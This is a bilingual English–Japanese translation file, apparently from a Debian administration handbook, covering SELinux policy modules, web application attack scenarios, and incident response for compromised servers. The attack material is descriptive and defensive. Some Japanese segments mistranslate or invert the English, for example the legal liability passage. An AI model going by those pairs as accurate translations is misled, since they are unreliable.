en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
ja: それぞれのインターフェースは <filename>.te</filename> ファイルに組み込むことが可能な有効なルール群を生成しなければいけません。そんなわけで、管理者は (<literal>gen_require</literal> マクロを使って) 使用するすべての SELinux タイプを宣言し、権限を取得するために標準的な指示文を使うべきです。しかしながら、他のモジュールが提供するインターフェースを使うことが可能な点に注意してください。次の節では、これらの権限を表現する方法についてより詳しく説明します。

en: <filename>example.if</filename> File
ja: <filename>example.if</filename> ファイル

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
ja: <emphasis>DOCUMENTATION</emphasis> <emphasis>リファレンスポリシー</emphasis>に関する説明

en: Writing a <filename>.te</filename> File
ja: <filename>.te</filename> ファイルの書き方

en: Have a look at the <filename>example.te</filename> file:
ja: それでは <filename>example.te</filename> を見てみましょう。

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
ja: <emphasis>GOING FURTHER</emphasis> <command>m4</command> マクロ言語

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
ja: 適切にポリシーを構築するために、SELinux 開発者はマクロコマンドプロセッサを使いました。数多くの類似した <emphasis>allow</emphasis> 指示文を複製する代わりに、SELinux 開発者は高レベル論理を取り扱う「マクロ関数」を作成しました。「マクロ関数」のおかげで、ポリシーがとても読みやすくなりました。

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
ja: 具体的に言えば、<command>m4</command> は複数のルール群から構成されるポリシーを構築するために使われます。マクロ関数は複数のルール群を 1 つの高レベル論理にまとめたものです。つまり、<command>m4</command> はマクロ関数で記述された高レベル論理を <emphasis>allow</emphasis> 指示文の巨大データベースに展開します。

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
ja: <filename>example.if</filename> ファイルの例で使用した SELinux「interface」は単なるマクロ関数であり、<command>m4</command> によるコンパイル時にルール群に置換されます。同様に、実際のところいくつかのパーミッションは単なるパーミッションの集合であり、<command>m4</command> によるコンパイル時にパーミッションの集合に置換されます。

en: The module must be identified by its name and version number. This directive is required.
ja: モジュールは名前とバージョン番号で識別されます。policy_module マクロは必須です。

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
ja: モジュールによって新しい SELinux タイプが導入される場合、type 文を使って新しい SELinux タイプを必ず宣言してください。多くの無駄な権限を与えるのでなく、必要な SELinux タイプをすべて作成してください。遠慮はいりません。

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
ja: ここでは <literal>domain_type</literal> および <literal>domain_entry_file</literal> インターフェースを使って、<literal>myapp_exec_t</literal> とラベリングされた実行ファイルによって使われるプロセスの SELinux ドメインとして <literal>myapp_t</literal> SELinux タイプを定義しています。こうすることで、暗黙のうちにオブジェクトに <literal>exec_type</literal> 属性が追加されます。このおかげで、他のモジュールは <literal>myapp_exec_t</literal> とラベリングされたプログラムを実行する権限を取得することが可能になります。たとえば <literal>userdomain</literal> モジュールを使うことで、<literal>user_t</literal>、<literal>staff_t</literal>、<literal>sysadm_t</literal> SELinux ドメインを持つプロセスが自分を実行することが可能になります。他の閉じ込められたアプリケーションの SELinux ドメインは、その SELinux ドメインに割り当てられたルールが同様の権限を取得しない限り (たとえば <literal>dpkg_t</literal> SELinux ドメインを持つ <command>dpkg</command> がこの場合に相当します)、<literal>myapp_exec_t</literal> とラベリングされたプログラムを実行する権限を持ちません。

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
ja: <literal>allow</literal> 指示文は操作を許可するために使われる基本的な指示文です。1 番目のパラメータはこの操作を実行することを許されたプロセスの SELinux ドメインです。2 番目のパラメータは 1 番目のパラメータで指定した SELinux ドメインのプロセスが操作することが可能なオブジェクトを定義します。2 番目のパラメータは「<replaceable>type</replaceable>:<replaceable>class</replaceable>」の形で定義します。ここで <replaceable>type</replaceable> は SELinux タイプで <replaceable>class</replaceable> はオブジェクトの種類 (ファイル、ディレクトリ、ソケット、名前付きパイプなど) です。最後に、3 番目のパラメータはパーミッション (許可された操作) を表現します。

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
ja: パーミッションは許可された操作の一式として定義され、以下のテンプレートに従います。すなわち <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal> です。しかしながら、最も役に立つパーミッションを表すマクロを使うことも可能です。<filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> には、最も役に立つパーミッションのマクロが説明されています。

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
ja: さらに、対象のアプリケーションやサービスが正しく動くために必要な最低限のルールセットを見つけ出さなければいけません。これを行うには、アプリケーションの動作方法とアプリケーションが管理および生成するデータの種類に関する詳しい知識が必要です。

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
ja: しかしながら、経験的なアプローチが使えます。対応するオブジェクトに対する正しいラベリングが終わっていれば、アプリケーションを permissive モードで使うことが可能です。そして permissive モードでは、禁止されるであろう操作はログ記録されて実行されます。このログを解析することで、許可する操作を識別することが可能になります。以下は permissive モードでアプリケーションを動かした場合に記録されるログエントリの例です。

en: To better understand this message, let us study it piece by piece.
ja: このメッセージをより詳しく理解するために、それぞれの要素について勉強しましょう。

en: Analysis of an SELinux trace
ja: SELinux ログエントリの解析

en: Message
ja: メッセージ

en: Description
ja: 説明

en: An operation has been denied.
ja: 操作が拒否されました。

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
ja: この操作には <literal>read</literal> と <literal>write</literal> パーミッションが必要です。

en: The process with PID 1876 executed the operation (or tried to execute it).
ja: PID 1876 のプロセスがこの操作を実行しました (または実行を試行しました)。

en: The process was an instance of the <literal>syslogd</literal> program.
ja: プロセスは <literal>syslogd</literal> プログラムのインスタンスです。

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
ja: 対象のオブジェクトは <literal>xconsole</literal> と名付けられました。場合によってはこれの代わりにフルパスを含む「path」変数が設定されていることもあります。

en: The object is identified by the inode number 5510.
ja: オブジェクトは inode 番号 5510 で識別されています。

en: This is the security context of the process who executed the operation.
ja: これは操作を実行したプロセスのセキュリティコンテキストです。

en: This is the security context of the target object.
ja: これは対象オブジェクトのセキュリティコンテキストです。

en: The target object is a FIFO file.
ja: 対象オブジェクトは FIFO ファイルです。

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
ja: <emphasis>COMPLEMENTS</emphasis> SELinux ロールを設定されていないポリシールール

en: <primary>Enforcement, Type Enforcement</primary>
ja: <primary sortas="キョウセイ、Type Enforcement">強制、Type Enforcement</primary>

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
ja: 新しいルールを作成した際に、SELinux ロールが 1 つも設定されていないことは不思議に見えるかもしれません。SELinux は許されている操作の見つかった SELinux ドメインだけを使います。SELinux ロールはユーザが他の SELinux ドメインに切り替えることを許可することで間接的に権限処理に介在するだけです。SELinux は <emphasis>Type Enforcement</emphasis> として知られる理論に基づいており、権限を獲得する際に考慮される要素は SELinux タイプだけです。

en: Compiling the Files
ja: ファイルのコンパイル

en: Other Security-Related Considerations
ja: セキュリティ関連で他に考慮すべき点

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
ja: セキュリティとは単なる技術的問題ではありません。セキュリティに関して最も重要なことは十分に実践したり、危険を理解したりすることです。この節では、いくつかのより一般的な危険および最良の実践例を見直します。ここで挙げた事例を実践することで、セキュリティを向上させたり、攻撃が成功してもその影響を小さなものにしたりすることが可能です。

en: Inherent Risks of Web Applications
ja: ウェブアプリケーションの持つ潜在的危険性

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
ja: ウェブアプリケーションはその普遍的特徴のおかげで広く使われています。いくつかのウェブアプリケーションは同時に実行されます。たとえばウェブメール、wiki、グループウェアシステム、フォーラム、写真ギャラリー、ブログなどは同時に実行されます。これらのウェブアプリケーションは「LAMP」(<emphasis>Linux、Apache、MySQL、PHP</emphasis>) スタックに頼っています。残念なことに、多くのウェブアプリケーションがセキュリティ問題を深く考えずに書かれています。外部から提供されるデータは、その妥当性を少しだけ検査するか、全く検査せずに使わることが多いです。特別に細工した値をアプリケーションに渡すことで、あるコマンドの代わりに他のコマンドを実行させることが可能です。最も自明な問題の多くは時間がたてば修正されますが、定期的に新しいセキュリティ問題が生じます。

en: <emphasis>VOCABULARY</emphasis> SQL injection
ja: <emphasis>VOCABULARY</emphasis> SQL インジェクション

en: <primary>SQL injection</primary>
ja: <primary>SQL インジェクション</primary>

en: Knowing What To Expect
ja: 予測される結果を知る

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
ja: ウェブアプリケーションの持つ脆弱性はクラッキング行為の足掛かりとして使われることが多いです。以下では、そこから考えられる結果の短い概観を示します。

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
ja: <emphasis>QUICK LOOK</emphasis> HTTP クエリのフィルタ

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
ja: この種のフィルタを設定することは長く厄介な作業ですが、配備予定のウェブアプリケーションのセキュリティに関する実績が疑わしい場合に効果があります。

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
ja: <emphasis>mod-security2</emphasis> (<emphasis role="pkg">libapache2-mod-security2</emphasis> パッケージに含まれます) はこの機能を提供する主要なモジュールです。<emphasis>mod-security2</emphasis> には簡単に有効化できる専用のすぐに使える数多くのルールが含まれます (<emphasis role="pkg">modsecurity-crs</emphasis> パッケージに含まれます)。

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
ja: さらに上級の攻撃者はこれ以上のことを行います。最悪の筋書きは以下の手順で進みます。すなわち、攻撃者は <literal>www-data</literal> ユーザ権限でコマンドを実行する能力を取得しますが、コマンドを実行するには数多くの操作を必要とします。作業を簡単に行うために、攻撃者はさらに別のウェブアプリケーションをインストールします。ここでインストールされるウェブアプリケーションはさまざまなコマンド (ファイルシステムの閲覧、パーミッションの検査、ファイルのアップロードおよびダウンロードなど) のリモート実行およびネットワークシェルの提供に特化して設計されています。しばしば、脆弱性を使うことで <command>wget</command> コマンドを使ってマルウェアを <filename>/tmp/</filename> にダウンロードし、マルウェアを実行することが可能になります。このマルウェアは既に不正侵入されている別のウェブサイトからダウンロードされます。こうすることで攻撃者の痕跡がなくなり、本当の攻撃元に関するヒントを調査することが難しくなります。

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
ja: この時点で、攻撃者は IRC <emphasis>ボット</emphasis> (IRC サーバに接続してチャンネルから操作されるロボット) をインストールできる程度の権限を取得しています。この IRC ボットは非合法ファイル (映画やソフトウェアなどの無断コピー) を共有するために使われることが多いです。意欲的な攻撃者はさらに先へ行きます。<literal>www-data</literal> アカウントはマシンに対する完全なアクセスを許されていないので、攻撃者は管理者権限を取得しようとするでしょう。今現在、これは不可能であるべきです。しかし、ウェブアプリケーションが最新の状態でなければ、おそらくカーネルやその他のプログラムも古いことでしょう。これはしばしばローカルユーザがいないため脆弱性に関して知っているにも関わらずシステムのアップグレードを無視している管理者の判断です。攻撃者はこの 2 番目の脆弱性に乗じて root アクセスを取得します。

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
ja: <emphasis>VOCABULARY</emphasis> 特権昇格

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
ja: 特権昇格という用語は通常ユーザに与えられていないより高位のパーミッションを取得するために使われる操作のすべてを意味しています。<command>sudo</command> プログラムはまさにユーザに指定した管理者権限を与える目的で設計されました。しかし、同じ用語を使って不当な権限を取得するために脆弱性を活用する攻撃者の振る舞いを表すこともあります。

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
ja: ここで述べた最悪の筋書きはいくつかの取り組みによって避けることが可能です。以降の節では、その取り組みについて説明します。

en: Choosing the Software Wisely
ja: 賢い方法でソフトウェアを選ぶ

en: <emphasis>VOCABULARY</emphasis> Security audit
ja: <emphasis>VOCABULARY</emphasis> セキュリティ監査

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
ja: セキュリティ監査とはソフトウェアが持つ潜在的なセキュリティ脆弱性を探すためにあるソフトウェアのソースコードを徹底的に読んだり解析することを言います。通常セキュリティ監査は積極的な行動であり、プログラムがある種のセキュリティ要件を満足していることを保証するために行われます。

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
ja: <emphasis>VOCABULARY</emphasis> ゼロデイ脆弱性

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
ja: <emphasis>ゼロデイ脆弱性</emphasis>攻撃は防ぐことが難しいです。さらにこの用語は対象プログラムの開発者がまだ知らない脆弱性の意味も持っています。

en: Managing a Machine as a Whole
ja: マシン全体の管理

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
ja: 多くの Linux ディストリビューションはデフォルトで多数の Unix サービスと多くのツールをインストールします。多くの場合、デフォルトでインストールされるサービスとツールは管理者がマシンをセットアップする本来の目的に必要なものではありません。セキュリティには一般的な指針があり、それは不要なソフトウェアをアンインストールすることが最良の選択であるという指針です。実際、もし FTP サーバ以外の未使用のサービスに含まれる脆弱性を使ってマシン全体の管理者権限が取得される可能性があるのなら、FTP サーバを守ることに意味はありません。

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
ja: 同様の理由で、通常ファイアウォールは公開アクセスされる予定のサービスへのアクセスだけを許可するように設定されます。

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
ja: 現在のコンピュータは複数のサービスを 1 台の物理マシン上でホストできる程度に十分強力です。財政的な観点からすると、この可能性は興味深いものです。なぜなら、管理するコンピュータの台数を 1 台で済ませたり、エネルギー消費量を減らしたりすることが可能だからです。しかしながら、セキュリティの観点からすると、このやり方には問題があります。1 つのサービスが不正侵入を受けるだけでマシン全体にアクセスできるようになり、さらに同じコンピュータ上でホストされている他のサービスも不正侵入を受けます。サービスを隔離することでこのリスクを緩和することが可能です。サービスを隔離するには、仮想化 (各サービスを専用の仮想マシンやコンテナでホストさせる) や AppArmor/SELinux (それぞれのサービスデーモンに適切に設計された一連のパーミッションを設定する) を使います。

en: Users Are Players
ja: 内部ユーザからの保護

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
ja: セキュリティに関する議論と言えばすぐに、インターネットの無法地帯に隠れた匿名のクラッカーによる攻撃に対する保護を思い浮かべることでしょう。しかし忘れられがちですが、内部にもリスク源が存在します。具体的に言えば、退職を控えている雇用者は重要なプロジェクトの機密ファイルをダウンロードしてこれを競争相手に売ることが可能です。不注意なセールスマンは新しい顧客とのミーティング中にセッションをロックせずに離席します。不器用なユーザは誤って間違ったディレクトリを削除します。

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
ja: これらのリスクは技術的に解決できます。つまり、最低限必要な権限よりも高位の権限をユーザに与えるべきではありませんし、定期的なバックアップは必ず必要です。しかし多くの場合、リスクを避けるためにユーザを教育することがより適切なやり方と言えるでしょう。

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
ja: <emphasis role="pkg">autolog</emphasis> パッケージを使うことで、設定可能な遅延時間の後、活動していないユーザからの接続を自動的に切断することが可能です。また、セッションの終了した後に残っているユーザプロセスを kill することが可能です。これにより、ユーザがデーモンを実行することを避けることが可能です。

en: Physical Security
ja: 物理セキュリティ

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
ja: コンピュータ本体が保護されていなければ、サービスとネットワークの保護は無意味です。重要なデータは RAID アレイ内のホットスワップ対応のハードディスクに保存するだけの価値があります。なぜならハードディスクは壊れるものですし、データの可用性は不可欠だからです。しかし、ピザ配達人が建物に入って、サーバ部屋に忍び込んで、いくつかの選ばれたハードディスクを盗んで逃げることが可能な場合、セキュリティの重要な部分が満足されていません。誰がサーバ部屋に入れるのでしょうか? 入室と退室は監視されていますか? これらの質問は物理セキュリティを評価する際に考慮 (そして回答) に値します。

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
ja: 物理セキュリティには、たとえば火事などの災害のリスクを考慮することも含まれます。災害という特別なリスクがあるために、バックアップメディアを別の建物か少なくとも防火金庫に保存することが正当化されます。

en: Legal Liability
ja: 法的責任

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
ja: 管理者は程度の差はあれど暗黙のうちに自分の管理するユーザと一般のネットワークユーザから信頼されています。このため、ユーザは管理者に対して自分の過失が悪意ある人によって不正利用されることがないように自分を守ることを期待しています。

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
ja: これらの状況に陥ると、無罪を主張するだけでは通常十分ではありません。少なくとも、ある IP アドレスを経由してあなたのシステム上で行われた疑わしい活動に関する説得力のある証拠を提出する必要があります。この章の推奨を無視し、攻撃者に特権アカウント (特に root) へのアクセスの取得を許し、攻撃者が痕跡を消すために特権アカウントを使うことを許していれば、証拠の提出は不可能です。

en: Dealing with a Compromised Machine
ja: 不正侵入されたマシンの取り扱い

en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
ja: 最良の心構えと注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合の対応方法に関して、いくつかの指針を紹介します。

en: Detecting and Seeing the Cracker's Intrusion
ja: クラッカー不正侵入の検出と観察

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
ja: クラッキング対応の最初の段階はクラッキング行為を把握することです。クラッキング行為を特に十分な監視設備がない状態で把握することは不可能です。

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
ja: プログラムが <filename>/var/tmp/</filename> の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。

en: This is only one example, but many other hints can ring the administrator's bell:
ja: これは一例に過ぎませんが、他にも管理者のアンテナに引っかかるような数多くの手掛かりが存在します。

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
ja: もはや動作しないはずのオプションを使っているコマンド。コマンドの主張するソフトウェアバージョンが <command>dpkg</command> によってインストールされたと考えられるバージョンと一致しない可能性があります。

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
ja: 最後の接続元が別の大陸にある未知のサーバということを示すコマンドプロンプトやセッション挨拶文。

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
ja: <filename>/tmp/</filename> パーティションが満杯になったことによるエラー。<filename>/tmp/</filename> パーティションが大量の映画の不正コピーで満杯になっている可能性があります。

en: and so on.
ja: などです。

en: Putting the Server Off-Line
ja: サーバをオフラインにする

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
ja: クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していないならば、ネットワークからコンピュータを切り離すことで攻撃者は目標を達成できなくなります。

en: Keeping Everything that Could Be Used as Evidence
ja: 証拠として使えるすべての保存

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
ja: 攻撃を理解したり攻撃者に対して法的手段を取ったりするには、すべての重要な要素の複製を取ることが必要です。ここで重要な要素にはハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリストなどが含まれます。RAM の内容が重要な要素に含められる場合もありますが、実際に RAM の内容が役に立つことはまれです。

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
ja: 作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします。しかし通常これは避けるべきです。すべてのコマンドは破壊されている可能性があり、さまざまな証拠を消してしまいます。管理者は最低限の確認 (ネットワーク接続状態を確認する <command>netstat -tupan</command>、プロセスのリストを確認する <command>ps auxf</command>、実行中プログラムのより詳しい情報を確認する <command>ls -alR /proc/[0-9]*</command>) だけを実行し、実行したすべての確認事項を注意深く記録するべきです。

en: <emphasis>CAUTION</emphasis> Hot analysis
ja: <emphasis>CAUTION</emphasis> その場解析

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
ja: これでもまだその場解析が必要な場合、既知の良好なプログラムだけを使うように注意するべきです。これを行う良い方法は、破壊されていないプログラムが含まれるレスキュー CD または読み込み専用のネットワーク共有を使うことです。しかしながらカーネル自身が不正侵入されている場合、これらの対策方法では不十分な場合があります。

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
ja: 「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変えられている最中に完全なイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(<command>sync</command> を実行した後に) サーバを無理やり停止し、レスキュー CD を使って再起動することがよく行われます。各パーティションは <command>dd</command> などのツールを使ってコピーされるべきです。この種のイメージを他のサーバに送信することが可能です (場合によってはとても便利な <command>nc</command> ツールを使って送信します)。他のより簡単な方法もあります。その方法とは不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換える方法です。

en: Re-installing
ja: 再インストール

en: <primary>backdoor</primary>
ja: <primary>バックドア</primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
ja: 不正侵入されたサーバを完全に再インストールする前にオンラインに戻すべきではありません。深刻な不正侵入の場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特に<emphasis>バックドア</emphasis>) が一掃されたことを保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性をふさぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析することで、この最新のセキュリティ更新によってふさがれる脆弱性を使って不正侵入が行われたことが明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正されたことを保証することが可能です。しかしこれができなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正されたことを期待することしかできません。

en: Forensic Analysis
ja: フォレンジック解析

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
ja: サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。ディスクイメージをマウントする際に、<literal>ro,nodev,noexec,noatime</literal> オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行することを防ぐ意味合いがあります。

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
ja: 通常、攻撃シナリオを追跡するには変更されて実行されたすべてを探し出すことが必要です。

en: <filename>.bash_history</filename> files often provide for a very interesting read;
ja: <filename>.bash_history</filename> ファイルには、極めて興味深い内容が含まれます。

en: so does listing files that were recently created, modified or accessed;
ja: 最近作成、修正、アクセスされたファイルの一覧にも極めて興味深い内容が含まれます。

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
ja: <command>strings</command> コマンドは攻撃者がインストールしたプログラムを識別する助けになります。<command>strings</command> コマンドはバイナリからテキスト文字列を抽出します。

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
ja: <filename>/var/log/</filename> 内のログファイルを使えば出来事の経過を追跡することが可能です。

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
